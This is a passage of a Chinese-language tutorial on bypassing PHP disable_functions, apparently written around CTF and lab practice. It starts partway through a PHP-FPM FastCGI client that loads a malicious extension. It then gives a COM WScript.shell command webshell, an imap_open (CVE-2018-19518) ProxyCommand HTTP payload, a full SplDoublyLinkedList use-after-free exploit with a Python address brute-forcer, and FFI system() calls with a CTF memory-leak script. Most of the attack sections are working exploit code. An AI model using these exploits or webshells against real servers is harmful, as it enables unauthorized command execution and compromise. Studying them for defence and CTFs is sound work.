            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }

    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();

        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));

        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }

    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));

        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');

        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');

        fwrite($this->_sock, $request);

        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);

        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
       
        switch (ord($resp['content'][4])) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app cant multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}


//$client = new AA("unix:///var/run/php-fpm.sock");
$client = new AA("127.0.0.1:9000");
$req = '/var/www/html/index.php';
$uri = $req .'?'.'command=ls';
var_dump($client);


$code = "<?php antsystem('ls');\\n?>";
$php_value = "extension = /var/www/html/ant.so";
$php_admin_value = "extension = /var/www/html/ant.so";

$params = array(       
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => '/var/www/html/index.php',
        'SCRIPT_NAME'       => '/var/www/html/index.php',
        'QUERY_STRING'      => 'command=ls',
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
        #'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'PHP_ADMIN_VALUE' => $php_admin_value,
        'SERVER_SOFTWARE'   => 'asd',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_LENGTH'    => strlen($code)
);

echo "Call: $uri\\n\\n";
var_dump($client->request($params, $code));
'''

ret = execute_php_code(code)
print(ret)
code = """
antsystem('ls');
"""
ret = execute_php_code(code)
print(ret)

通过修改其内的code即可,效果如下:

漏洞利用成功。

com组件

原理&利用

需要目标机器满足下列三个条件:

  • com.allow_dcom = true
  • extension=php_com_dotnet.dll
  • php>5.4

此时com组件开启,我们能够在phpinfo中看到:

要知道原理还是直接从exp看起:

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

首先,以new COM('WScript.shell')来生成一个com对象,里面的参数也可以为Shell.Application(笔者的win10下测试失败)。

然后这个com对象中存在着exec可以用来执行命令,而后续的方法则是将命令输出,该方式的利用还是较为简单的,就不多讲了。

imap_open

该bypass方式为CVE-2018-19518

原理

imap扩展用于在PHP中执行邮件收发操作,而imap_open是一个imap扩展的函数,在使用时通常以如下形式:

$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);

那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认使用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过-oProxyCommand=来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是php解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的bypass disable function了。

那么我们可以先在ubuntu上试验一下:

ssh -oProxyCommand="ls>test" 192.168.2.1

利用

环境的话vulhub上有,其中给出了poc:

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

我们可以发现其中使用了%09来绕过空格,以base64的形式来执行我们的命令,那么我这里再验证一下:

hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222
//ls>test

会发现成功写入了一个test,漏洞利用成功,那么接下来就是各种肆意妄为了。

三种UAF

EXP在:https://github.com/mm0r1/exploits

三种uaf分别是:

  • Json Serializer UAF
  • GC UAF
  • Backtrace UAF

关于uaf的利用因为涉及到二进制相关的知识,而笔者是个web狗,因此暂时只会用exp打打,因此这里就不多说,就暂时先稍微提一下三种uaf的利用版本及其概述//其实我就是照搬了exp里面的说明,读者可以看exp作者的说明就行了。

Json Serializer UAF

漏洞出现的版本在于:

  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

漏洞利用json在序列化中的堆溢出触发bypass,漏洞为bug #77843

GC UAF

漏洞出现的版本在于:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date

漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出达成bypass,漏洞为:bug #72530

Backtrace UAF

漏洞出现的版本在于:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 < 7.3.15 (released 20 Feb 2020)
  • 7.4 < 7.4.3 (released 20 Feb 2020)

漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047

利用

利用的话exp或者蚁剑上都有利用插件了,这里不多讲,可以上ctfhub测试。

SplDoublyLinkedList UAF

概述

这个UAF是在先知上看到的,引用原文来概述:

可以看到,删除元素的操作被放在了置空 traverse_pointer 指针前。

所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF。

PHP 部分(仅在 7.4.10、7.3.22、7.2.34 版本测试)

exp

exp同样出自原文。

php部分:

<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
    for($j = 0;$j < $x;$j++) {
        $a[$p + $j] = chr($i & 0xff);
        $i >>= 8;
    }
}

function s2i($s) {
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}

function leak(&$a, $address) {
    global $s;
    i2s($a, 0x00, $address - 0x10);
    return strlen($s -> current());
}

function getPHPChunk($maps) {
    $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
    preg_match_all($pattern, $maps, $match);
    foreach ($match[1] as $value) {
        list($start, $end) = explode("-", $value);
        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
            return $address;
        }
    }
}

function bomb1(&$a) {
    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
        return (s2i($_GET["test1"]) & 0x7ffff0000000);
    }else {
        die("[!]Where is here");
    }
}

function bomb2(&$a) {
    $start = s2i($_GET["test2"]);
    return getElement($a, array($start, $start + 0x200000, 0x200000));
    die("[!]Not Found");
}

function getElement(&$a, $address) {
    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
        for ($y = 0;$y < 5;$y++) {
            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
                return $addr + $y * 0x08 - 0x18;
            }
        }
    }
}

function getClosureChunk(&$a, $address) {
    do {
        $address = leak($a, $address);
    }while(leak($a, $address) !== 0x00);
    echo "[+]Closure Chunk: " . dechex($address) . "\n";
    return $address;
}

function getSystem(&$a, $address) {
    $start = $address & 0xffffffffffff0000;
    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
    for($i = 0; $i < 0x1000 * 0x80; $i++) {
        $addr = $start - $i * 0x20;
        if ($addr < $lowestAddr) {
            break;
        }
        $nameAddr = leak($a, $addr);
        if ($nameAddr > $address || $nameAddr < $lowestAddr) {
            continue;
        }
        $name = dechex(leak($a, $nameAddr));
        $name = str_pad($name, 16, "0", STR_PAD_LEFT);
        $name = strrev(hex2bin($name));
        $name = explode("\x00", $name)[0];
        if($name === "system") {
            return leak($a, $addr + 0x08);
        }
    }
}

class Trigger {
    function __destruct() {
        global $s;
        unset($s[0]);
        $a = str_shuffle(str_repeat("T", 0xf));
        i2s($a, 0x00, 0x1234567812345678);
        i2s($a, 0x08, 0x04, 7);
        $s -> current();
        $s -> next();
        if ($s -> current() !== 0x1234567812345678) {
             die("[!]UAF Failed");
        }
        $maps = file_get_contents("/proc/self/maps");
        if (!$maps) {
            cantRead($a);
        }else {
            canRead($maps, $a);
        }
        echo "[+]Done";
    }
}

function bypass($elementAddress, &$a) {
    global $s;
    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
        die("[!]Get Closure Chunk Address Failed");
    }
    $closure_object = leak($a, $closureChunkAddress + 0x18);
    echo "[+]Closure Object: " . dechex($closure_object) . "\n";
    $closure_handlers = leak($a, $closure_object + 0x18);
    echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
    if(!($system_address = getSystem($a, $closure_handlers))) {
        die("[!]Couldn't determine system address");
    }
    echo "[+]Find system's handler: " . dechex($system_address) . "\n";
    i2s($a, 0x08, 0x506, 7);
    for ($i = 0;$i < (0x130 / 0x08);$i++) {
        $data = leak($a, $closure_object + 0x08 * $i);
        i2s($a, 0x00, $closure_object + 0x30);
        i2s($s -> current(), 0x08 * $i + 0x100, $data);
    }
    i2s($a, 0x00, $closure_object + 0x30);
    i2s($s -> current(), 0x20, $system_address);
    i2s($a, 0x00, $closure_object);
    i2s($a, 0x08, 0x108, 7);
    echo "[+]Executing command: \n";
    ($s -> current())("php -v");
}

function canRead($maps, &$a) {
    global $s;
    if (!$chunkAddress = getPHPChunk($maps)) {
        die("[!]Get PHP Chunk Address Failed");
    }
    i2s($a, 0x08, 0x06, 7);
    if (!$elementAddress = getElement($a, $chunkAddress)) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

function cantRead(&$a) {
    global $s;
    i2s($a, 0x08, 0x06, 7);
    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
        die("[!]Please try to get address of PHP Chunk");
    }
    if (isset($_GET["test1"])) {
        die(dechex(bomb1($a)));
    }
    if (isset($_GET["test2"])) {
        $elementAddress = bomb2($a);
    }
    if (!$elementAddress) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
    $s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);

python部分:

# -*- coding:utf8 -*-
import requests
import base64
import time
import urllib
from libnum import n2s


def bomb1(_url):
    content = None
    count = 1
    addr = 0x7f0000000000  # change here and bomb1() in php if failed
    while True:
        try:
            addr = addr + 0x10000000 / 2
            if count % 100 == 0:
                print "[+]Bomb " + str(count) + " times, address of first chunk maybe: " + str(hex(addr))
            content = requests.post(_url + "?test1=" + urllib.quote(n2s(addr)), data={
                "c": "eval(base64_decode('" + payload + "'));",
            }).content
            if "[!]" in content or "502 Bad Gateway" in content:
                count += 1
                continue
            break
        except:
            count += 1
            continue
    return content


def bomb2(_url, _addr1):
    content = None
    count = 1
    crashcount = 0
    while True:
        try:
            _addr1 = _addr1 + 0x200000
            if count % 10 == 0:
                print "[+]Bomb " + str(count) + " times, address of php chunk maybe: " + str(hex(_addr1))
            content = requests.post(_url + "?test2=" + urllib.quote(n2s(_addr1)), data={
                "c": "eval(base64_decode('" + payload + "'));",
            }).content
            if "[!]" in content or "502 Bad Gateway" in content:
                count += 1
                continue
            break
        except:
            count += 1
            crashcount += 1
            continue
    print "[+]PHP crash " + str(crashcount) + " times"
    return content


payload = open("xxx.php").read()
payload = base64.b64encode("?>" + payload)
url = "http://x.x.x.x:x/eval.php"
print "[+]Execute Payload, Output is:"
content = requests.post(url, data={
    "c": "eval(base64_decode('" + payload + "'));",
}).content
if "[!]Please try to get address of PHP Chunk" in content:
    addr1 = bomb1(url)
    if addr1 is None:
        exit(1)
    print "---------------------------------------------------------------------------------"
    addr2 = bomb2(url, int(addr1, 16))
    if addr2 is None:
        exit(1)
    print "---------------------------------------------------------------------------------"
    print addr2
else:
    print content
print "[+]Execute Payload Over."

ffi扩展

 

ffi扩展笔者初见于TCTF/0CTF 2020中的easyphp,当时是因为非预期解拿到flag发现了ffi三个字母才了解到php7.4中多了ffi这种东西。

原理

PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。

也即是说我们可以通过ffi来调用c语言的函数从而绕过disable的限制,我们可以简单使用一个示例来体会一下:

$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");

输出如下:

那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。

首先是cdef:

$ffi = FFI::cdef("int system(const char *command);");

这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式:

$ffi = FFI::cdef("int system(const char *command);","libc.so.6");

可以看看其函数原型:

FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI

取得了ffi对象后我们就可以直接调用函数了:

$ffi->system("whoami >/tmp/1");

之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。

利用

以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录:

<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
 echo($f->__toString().'<br>');
}
?>

可以发现根目录存在着flag.h跟so:

因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。

发现了flag.h之后查看ffi相关文档能够发现一个load方法可以加载头文件。

于是有了如下:

$ffi = FFI::load("/flag.h");

但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下:

我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp:

import requests
url = "http://pwnable.org:19261"
params = {"rh":
'''
try {
    $ffi=FFI::load("/flag.h");
    //get flag
    //$a = $ffi->flag_wAt3_uP_apA3H1();
    //for($i = 0; $i < 128; $i++){
        echo $a[$i];
    //}
    $a = $ffi->new("char[8]", false);
    $a[0] = 'f';
    $a[1] = 'l';
    $a[2] = 'a';
    $a[3] = 'g';
    $a[4] = 'f';
    $a[5] = 'l';
    $a[6] = 'a';
    $a[7] = 'g';
    $b = $ffi->new("char[8]", false);
    $b[0] = 'f';
    $b[1] = 'l';
    $b[2] = 'a';
    $b[3] = 'g';
    $newa = $ffi->cast("void*", $a);
    var_dump($newa);
    $newb = $ffi->cast("void*", $b);
    var_dump($newb);
    
    $addr_of_a = FFI::new("unsigned long long");
    FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
    var_dump($addr_of_a);
    
    $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
    FFI::memcpy($leak, $newa-0x20000, 102400);
    $tmp = FFI::string($leak,102400);
    var_dump($tmp);
   
    //var_dump($leak);
    //$leak[0] = 0xdeadbeef;
    //$leak[1] = 0x61616161;
    //var_dump($a);
    //FFI::memcpy($newa-0x8, $leak, 128*8);
    //var_dump($a);
    //var_dump(777);
} catch (FFI\Exception $ex) {
    echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))

获取到函数名后直接调用函数然后把结果打印出来即可:

$a = $ffi->flag_wAt3_uP_apA3H1();
for($i=0;$i<100;$i++){
  echo $a[$i];
}

相关实验:绕过函数过滤(通过本实验学会通过宽字节方式绕过mysql_real_escape_string()、addslashes()这两个函数。)